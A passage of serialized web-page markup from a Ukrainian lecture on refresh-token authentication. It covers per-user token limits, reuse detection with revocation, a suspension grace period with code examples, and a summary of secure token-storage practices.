Cookie\n",[5274,20142,20143,20145,20147,20149,20151],{"class":5276,"line":5674},[5274,20144,20091],{"class":5291},[5274,20146,20094],{"class":5295},[5274,20148,20097],{"class":5305},[5274,20150,7170],{"class":5295},[5274,20152,20102],{"class":5305},[5274,20154,20155,20158,20160,20162,20165,20168,20171,20174,20177,20180,20183,20186,20189],{"class":5276,"line":5680},[5274,20156,20157],{"class":6710},"Cookie",[5274,20159,5595],{"class":5295},[5274,20161,12661],{"class":5305},[5274,20163,20164],{"class":5295},"=6",[5274,20166,20167],{"class":5305},"ba7b810",[5274,20169,20170],{"class":5295},"-9",[5274,20172,20173],{"class":5305},"dad",[5274,20175,20176],{"class":5295},"-11",[5274,20178,20179],{"class":5305},"d1",[5274,20181,20182],{"class":5295},"-80",[5274,20184,20185],{"class":5305},"b4",[5274,20187,20188],{"class":5295},"-00",[5274,20190,20191],{"class":5305},"c04fd430c8\n",[19709,20193,20195,20200,20205,20208,20216,20254,20259,20262,20390,20395,20398,20434],{"icon":19711,"label":20194},"❓ Скільки Refresh Tokens може мати один користувач одночасно?",[5089,20196,20197],{},[5099,20198,20199],{},"Залежить від вашої політики безпеки:",[5089,20201,20202],{},[5099,20203,20204],{},"Варіант 1: Необмежена кількість (рекомендовано)",[5089,20206,20207],{},"Кожен пристрій\u002Fбраузер користувача має власний Refresh Token. Це дозволяє:",[5093,20209,20210,20213],{},[5096,20211,20212],{},"✅ Користувач може бути автентифікованим на робочому ноутбуці, домашньому комп'ютері, телефоні та планшеті одночасно.",[5096,20214,20215],{},"✅ Користувач може відкликати токен конкретного пристрою без виходу з інших.",[5265,20217,20219],{"className":8566,"code":20218,"language":8568,"meta":5270,"style":5270},"SELECT COUNT(*) FROM refresh_tokens WHERE user_id = 'user-uuid';\n-- Може повертати 5-10 активних токенів\n",[5122,20220,20221,20249],{"__ignoreMap":5270},[5274,20222,20223,20226,20229,20232,20235,20238,20241,20244,20247],{"class":5276,"line":5277},[5274,20224,20225],{"class":5287},"SELECT",[5274,20227,20228],{"class":5311}," COUNT",[5274,20230,20231],{"class":5295},"(*) ",[5274,20233,20234],{"class":5287},"FROM",[5274,20236,20237],{"class":5295}," refresh_tokens ",[5274,20239,20240],{"class":5287},"WHERE",[5274,20242,20243],{"class":5295}," user_id = ",[5274,20245,20246],{"class":5358},"'user-uuid'",[5274,20248,5852],{"class":5295},[5274,20250,20251],{"class":5276,"line":5284},[5274,20252,20253],{"class":5280},"-- Може повертати 5-10 активних токенів\n",[5089,20255,20256],{},[5099,20257,20258],{},"Варіант 2: Обмежена кількість (підвищена безпека)",[5089,20260,20261],{},"Максимум N активних токенів на користувача (наприклад, 3). При створенні нового токена найстаріший автоматично видаляється:",[5265,20263,20265],{"className":5267,"code":20264,"language":5269,"meta":5270,"style":5270},"const existingTokens = await this.refreshTokenRepo.find({\n  where: { user: { id: userId } },\n  order: { createdAt: 'ASC' },\n});\n\nif (existingTokens.length >= 3) {\n  \u002F\u002F Видаляємо найстаріший токен\n  await this.refreshTokenRepo.delete(existingTokens[0].id);\n}\n",[5122,20266,20267,20290,20308,20323,20327,20331,20353,20358,20386],{"__ignoreMap":5270},[5274,20268,20269,20271,20274,20276,20278,20280,20282,20284,20286,20288],{"class":5276,"line":5277},[5274,20270,5288],{"class":5287},[5274,20272,20273],{"class":5291}," existingTokens",[5274,20275,5296],{"class":5295},[5274,20277,5770],{"class":5605},[5274,20279,5656],{"class":5287},[5274,20281,5302],{"class":5295},[5274,20283,11150],{"class":5305},[5274,20285,5302],{"class":5295},[5274,20287,19248],{"class":5311},[5274,20289,6354],{"class":5295},[5274,20291,20292,20295,20297,20299,20301,20303,20305],{"class":5276,"line":5284},[5274,20293,20294],{"class":5305},"  where:",[5274,20296,6285],{"class":5295},[5274,20298,12045],{"class":5305},[5274,20300,6285],{"class":5295},[5274,20302,11166],{"class":5305},[5274,20304,11021],{"class":5305},[5274,20306,20307],{"class":5295}," } },\n",[5274,20309,20310,20313,20315,20318,20321],{"class":5276,"line":5318},[5274,20311,20312],{"class":5305},"  order:",[5274,20314,6285],{"class":5295},[5274,20316,20317],{"class":5305},"createdAt:",[5274,20319,20320],{"class":5358}," 'ASC'",[5274,20322,5347],{"class":5295},[5274,20324,20325],{"class":5276,"line":5350},[5274,20326,5473],{"class":5295},[5274,20328,20329],{"class":5276,"line":5368},[5274,20330,5577],{"emptyLinePlaceholder":5576},[5274,20332,20333,20335,20337,20340,20342,20345,20348,20351],{"class":5276,"line":5470},[5274,20334,16462],{"class":5605},[5274,20336,5509],{"class":5295},[5274,20338,20339],{"class":5305},"existingTokens",[5274,20341,5302],{"class":5295},[5274,20343,20344],{"class":5305},"length",[5274,20346,20347],{"class":5295}," >= ",[5274,20349,20350],{"class":6196},"3",[5274,20352,5600],{"class":5295},[5274,20354,20355],{"class":5276,"line":5644},[5274,20356,20357],{"class":5280},"  \u002F\u002F Видаляємо найстаріший токен\n",[5274,20359,20360,20362,20364,20366,20368,20370,20372,20374,20376,20378,20380,20382,20384],{"class":5276,"line":5650},[5274,20361,10264],{"class":5605},[5274,20363,5656],{"class":5287},[5274,20365,5302],{"class":5295},[5274,20367,11150],{"class":5305},[5274,20369,5302],{"class":5295},[5274,20371,11445],{"class":5311},[5274,20373,5414],{"class":5295},[5274,20375,20339],{"class":5305},[5274,20377,8242],{"class":5295},[5274,20379,16319],{"class":6196},[5274,20381,16322],{"class":5295},[5274,20383,5332],{"class":5305},[5274,20385,5371],{"class":5295},[5274,20387,20388],{"class":5276,"line":5674},[5274,20389,5677],{"class":5295},[5089,20391,20392],{},[5099,20393,20394],{},"Варіант 3: Один токен на користувача (максимальна безпека, погана UX)",[5089,20396,20397],{},"При логіні всі попередні токени інвалідуються. Користувач може бути автентифікованим лише на одному пристрої:",[5265,20399,20401],{"className":5267,"code":20400,"language":5269,"meta":5270,"style":5270},"\u002F\u002F Видалення ВСІХ існуючих токенів перед створенням нового\nawait this.refreshTokenRepo.delete({ user: { id: userId } });\n",[5122,20402,20403,20408],{"__ignoreMap":5270},[5274,20404,20405],{"class":5276,"line":5277},[5274,20406,20407],{"class":5280},"\u002F\u002F Видалення ВСІХ існуючих токенів перед створенням нового\n",[5274,20409,20410,20412,20414,20416,20418,20420,20422,20424,20426,20428,20430,20432],{"class":5276,"line":5284},[5274,20411,5770],{"class":5605},[5274,20413,5656],{"class":5287},[5274,20415,5302],{"class":5295},[5274,20417,11150],{"class":5305},[5274,20419,5302],{"class":5295},[5274,20421,11445],{"class":5311},[5274,20423,5459],{"class":5295},[5274,20425,12045],{"class":5305},[5274,20427,6285],{"class":5295},[5274,20429,11166],{"class":5305},[5274,20431,11021],{"class":5305},[5274,20433,12062],{"class":5295},[5089,20435,20044,20436,20439],{},[5099,20437,20438],{},"Недолік:"," користувач виштовхується з усіх інших пристроїв при вході на новому.",[19709,20441,20443,20453,20467,20472,20488,20494,20503],{"icon":19711,"label":20442},"❓ Чи можна відновити доступ після виявлення token reuse?",[5089,20444,20445,20448,20449,20452],{},[5099,20446,20447],{},"Так, але з обережністю."," Коли система виявляє спробу використання вже інвалідованого Refresh Token, вона інтерпретує це як ",[5099,20450,20451],{},"компрометацію"," та автоматично відкликає всі токени користувача для безпеки. Це означає:",[5478,20454,20455,20461],{},[5096,20456,20457,20460],{},[5099,20458,20459],{},"Легітимний користувач"," втрачає доступ на всіх пристроях.",[5096,20462,20463,20466],{},[5099,20464,20465],{},"Зловмисник"," також втрачає доступ (його вкрадений токен більше не валідний).",[5089,20468,20469],{},[5099,20470,20471],{},"Відновлення доступу:",[5093,20473,20474,20481],{},[5096,20475,20476,20477,20480],{},"Користувач змушений ",[5099,20478,20479],{},"увійти повторно"," з email та паролем.",[5096,20482,20483,20484,20487],{},"Система може надіслати ",[5099,20485,20486],{},"email-сповіщення"," про підозрілу активність з інструкціями:",[5265,20489,20492],{"className":20490,"code":20491,"language":6825},[6823],"Тема: Виявлено підозрілу активність у вашому обліковому записі\n\nМи виявили спробу несанкціонованого доступу до вашого облікового запису\nз IP-адреси 203.0.113.42 (Пекін, Китай). Усі активні сесії були завершені\nдля вашої безпеки.\n\nЯкщо це були ви, будь ласка, увійдіть знову. Якщо ні — натисніть тут\nдля зміни пароля.\n",[5122,20493,20491],{"__ignoreMap":5270},[5089,20495,20496,20498,20499,20502],{},[5099,20497,6646],{}," впровадьте ",[5099,20500,20501],{},"grace period"," (наприклад, 5 хвилин) перед повним відкликанням:",[5265,20504,20506],{"className":5267,"code":20505,"language":5269,"meta":5270,"style":5270},"\u002F\u002F При виявленні reuse — тимчасово блокуємо токени\nawait this.refreshTokenRepo.update(\n  { user: { id: userId } },\n  { status: 'suspended', suspendedAt: new Date() }\n);\n\n\u002F\u002F Надсилаємо email з можливістю підтвердження легітимності\nawait this.emailService.sendSuspensionAlert(user.email);\n\n\u002F\u002F Через 5 хвилин, якщо користувач не підтвердив — видаляємо назавжди\nsetTimeout(async () => {\n  const token = await this.refreshTokenRepo.findOne({ user: { id: userId } });\n  if (token && token.status === 'suspended') {\n    await this.refreshTokenRepo.delete({ user: { id: userId } });\n  }\n}, 5 * 60 * 1000);\n",[5122,20507,20508,20513,20530,20544,20566,20570,20574,20579,20605,20609,20614,20629,20661,20684,20710,20714],{"__ignoreMap":5270},[5274,20509,20510],{"class":5276,"line":5277},[5274,20511,20512],{"class":5280},"\u002F\u002F При виявленні reuse — тимчасово блокуємо токени\n",[5274,20514,20515,20517,20519,20521,20523,20525,20528],{"class":5276,"line":5284},[5274,20516,5770],{"class":5605},[5274,20518,5656],{"class":5287},[5274,20520,5302],{"class":5295},[5274,20522,11150],{"class":5305},[5274,20524,5302],{"class":5295},[5274,20526,20527],{"class":5311},"update",[5274,20529,5315],{"class":5295},[5274,20531,20532,20534,20536,20538,20540,20542],{"class":5276,"line":5318},[5274,20533,5321],{"class":5295},[5274,20535,12045],{"class":5305},[5274,20537,6285],{"class":5295},[5274,20539,11166],{"class":5305},[5274,20541,11021],{"class":5305},[5274,20543,20307],{"class":5295},[5274,20545,20546,20548,20551,20554,20556,20559,20561,20563],{"class":5276,"line":5350},[5274,20547,5321],{"class":5295},[5274,20549,20550],{"class":5305},"status:",[5274,20552,20553],{"class":5358}," 'suspended'",[5274,20555,5129],{"class":5295},[5274,20557,20558],{"class":5305},"suspendedAt:",[5274,20560,5631],{"class":5287},[5274,20562,6386],{"class":5311},[5274,20564,20565],{"class":5295},"() }\n",[5274,20567,20568],{"class":5276,"line":5368},[5274,20569,5371],{"class":5295},[5274,20571,20572],{"class":5276,"line":5470},[5274,20573,5577],{"emptyLinePlaceholder":5576},[5274,20575,20576],{"class":5276,"line":5644},[5274,20577,20578],{"class":5280},"\u002F\u002F Надсилаємо email з можливістю підтвердження легітимності\n",[5274,20580,20581,20583,20585,20587,20590,20592,20595,20597,20599,20601,20603],{"class":5276,"line":5650},[5274,20582,5770],{"class":5605},[5274,20584,5656],{"class":5287},[5274,20586,5302],{"class":5295},[5274,20588,20589],{"class":5305},"emailService",[5274,20591,5302],{"class":5295},[5274,20593,20594],{"class":5311},"sendSuspensionAlert",[5274,20596,5414],{"class":5295},[5274,20598,5808],{"class":5305},[5274,20600,5302],{"class":5295},[5274,20602,5344],{"class":5305},[5274,20604,5371],{"class":5295},[5274,20606,20607],{"class":5276,"line":5674},[5274,20608,5577],{"emptyLinePlaceholder":5576},[5274,20610,20611],{"class":5276,"line":5680},[5274,20612,20613],{"class":5280},"\u002F\u002F Через 5 хвилин, якщо користувач не підтвердив — видаляємо назавжди\n",[5274,20615,20616,20619,20621,20623,20625,20627],{"class":5276,"line":5685},[5274,20617,20618],{"class":5311},"setTimeout",[5274,20620,5414],{"class":5295},[5274,20622,5582],{"class":5287},[5274,20624,9210],{"class":5295},[5274,20626,7654],{"class":5287},[5274,20628,7239],{"class":5295},[5274,20630,20631,20633,20635,20637,20639,20641,20643,20645,20647,20649,20651,20653,20655,20657,20659],{"class":5276,"line":5691},[5274,20632,5728],{"class":5287},[5274,20634,14003],{"class":5291},[5274,20636,5296],{"class":5295},[5274,20638,5770],{"class":5605},[5274,20640,5656],{"class":5287},[5274,20642,5302],{"class":5295},[5274,20644,11150],{"class":5305},[5274,20646,5302],{"class":5295},[5274,20648,11306],{"class":5311},[5274,20650,5459],{"class":5295},[5274,20652,12045],{"class":5305},[5274,20654,6285],{"class":5295},[5274,20656,11166],{"class":5305},[5274,20658,11021],{"class":5305},[5274,20660,12062],{"class":5295},[5274,20662,20663,20665,20667,20669,20671,20673,20675,20677,20679,20682],{"class":5276,"line":5855},[5274,20664,5606],{"class":5605},[5274,20666,5509],{"class":5295},[5274,20668,5132],{"class":5305},[5274,20670,19877],{"class":5295},[5274,20672,5132],{"class":5305},[5274,20674,5302],{"class":5295},[5274,20676,7897],{"class":5305},[5274,20678,7900],{"class":5295},[5274,20680,20681],{"class":5358},"'suspended'",[5274,20683,5600],{"class":5295},[5274,20685,20686,20688,20690,20692,20694,20696,20698,20700,20702,20704,20706,20708],{"class":5276,"line":5860},[5274,20687,9542],{"class":5605},[5274,20689,5656],{"class":5287},[5274,20691,5302],{"class":5295},[5274,20693,11150],{"class":5305},[5274,20695,5302],{"class":5295},[5274,20697,11445],{"class":5311},[5274,20699,5459],{"class":5295},[5274,20701,12045],{"class":5305},[5274,20703,6285],{"class":5295},[5274,20705,11166],{"class":5305},[5274,20707,11021],{"class":5305},[5274,20709,12062],{"class":5295},[5274,20711,20712],{"class":5276,"line":5865},[5274,20713,5647],{"class":5295},[5274,20715,20716,20719,20721,20723,20725,20727,20729],{"class":5276,"line":6032},[5274,20717,20718],{"class":5295},"}, ",[5274,20720,19510],{"class":6196},[5274,20722,6405],{"class":5295},[5274,20724,6413],{"class":6196},[5274,20726,6405],{"class":5295},[5274,20728,6422],{"class":6196},[5274,20730,5371],{"class":5295},[5171,20732],{},[5084,20734,20736],{"id":20735},"підсумок-та-ключові-висновки","Підсумок та ключові висновки",[5089,20738,20739],{},"Refresh Token архітектура є індустріальним стандартом для балансування безпеки та користувацької зручності у сучасних веб-застосунках. Основні принципи, які необхідно запам'ятати:",[5174,20741,20742,20786],{},[5177,20743,20746],{"icon":20744,"title":20745},"i-lucide-check-circle","✅ Обов'язкові практики",[5093,20747,20748,20758,20768,20774,20780],{},[5096,20749,20750,20751,20754,20755,5302],{},"Використовуйте ",[5099,20752,20753],{},"короткий Access Token (15 хв)"," + ",[5099,20756,20757],{},"довгий Refresh Token (7-30 днів)",[5096,20759,20760,20761,20763,20764,20767],{},"Зберігайте Refresh Token у ",[5099,20762,14538],{}," для веб-застосунків або ",[5099,20765,20766],{},"Keychain\u002FKeystore"," для мобільних.",[5096,20769,20770,20771,20773],{},"Впроваджуйте ",[5099,20772,10422],{}," — інвалідація старого токена при видачі нової пари.",[5096,20775,20776,20777,20779],{},"Реалізуйте ",[5099,20778,16539],{}," для виявлення компрометації та автоматичного відкликання всіх токенів.",[5096,20781,20782,20783,20785],{},"Зберігайте Refresh Tokens у ",[5099,20784,6246],{}," для можливості відкликання.",[5177,20787,20790],{"icon":20788,"title":20789},"i-lucide-x-circle","❌ Категоричні заборони",[5093,20791,20792,20801,20807,20815,20821],{},[5096,20793,20794,20797,20798,20800],{},[5099,20795,20796],{},"Ніколи"," не зберігайте Refresh Token у ",[5122,20799,5382],{}," для веб-застосунків (XSS вразливість).",[5096,20802,20803,20806],{},[5099,20804,20805],{},"Не використовуйте"," довгоживучі Access Token (7+ днів) без Refresh Token.",[5096,20808,20809,20812,20813,5302],{},[5099,20810,20811],{},"Не передавайте"," Refresh Token разом зі звичайними API запитами — лише для ",[5122,20814,5155],{},[5096,20816,20817,20820],{},[5099,20818,20819],{},"Не ігноруйте"," CORS конфігурацію при використанні HttpOnly Cookies для cross-origin запитів.",[5096,20822,20823,20826],{},[5099,20824,20825],{},"Не забувайте"," про SameSite атрибут для захисту від CSRF атак.",[5089,20828,20829,20830,20833],{},"У наступній лекції ми розглянемо механізм ",[5099,20831,20832],{},"OAuth 2.0 та OpenID Connect"," — як інтегрувати автентифікацію через сторонніх провайдерів (Google, GitHub, Facebook) та делегувати управління ідентичністю спеціалізованим сервісам.",[20835,20836,20837],"style",{},"html pre.shiki code .spJ8K, html code.shiki .spJ8K{--shiki-light:#008000;--shiki-default:#6A9955;--shiki-dark:#6A9955}html pre.shiki code .su1O8, html code.shiki .su1O8{--shiki-light:#0000FF;--shiki-default:#569CD6;--shiki-dark:#569CD6}html pre.shiki code .s-QsJ, html code.shiki .s-QsJ{--shiki-light:#0070C1;--shiki-default:#4FC1FF;--shiki-dark:#4FC1FF}html pre.shiki code .sHH4Y, html code.shiki .sHH4Y{--shiki-light:#000000;--shiki-default:#D4D4D4;--shiki-dark:#D4D4D4}html pre.shiki code .siwwj, html code.shiki .siwwj{--shiki-light:#001080;--shiki-default:#9CDCFE;--shiki-dark:#9CDCFE}html pre.shiki code .s8Opu, html code.shiki .s8Opu{--shiki-light:#795E26;--shiki-default:#DCDCAA;--shiki-dark:#DCDCAA}html pre.shiki code .sbdoH, html code.shiki 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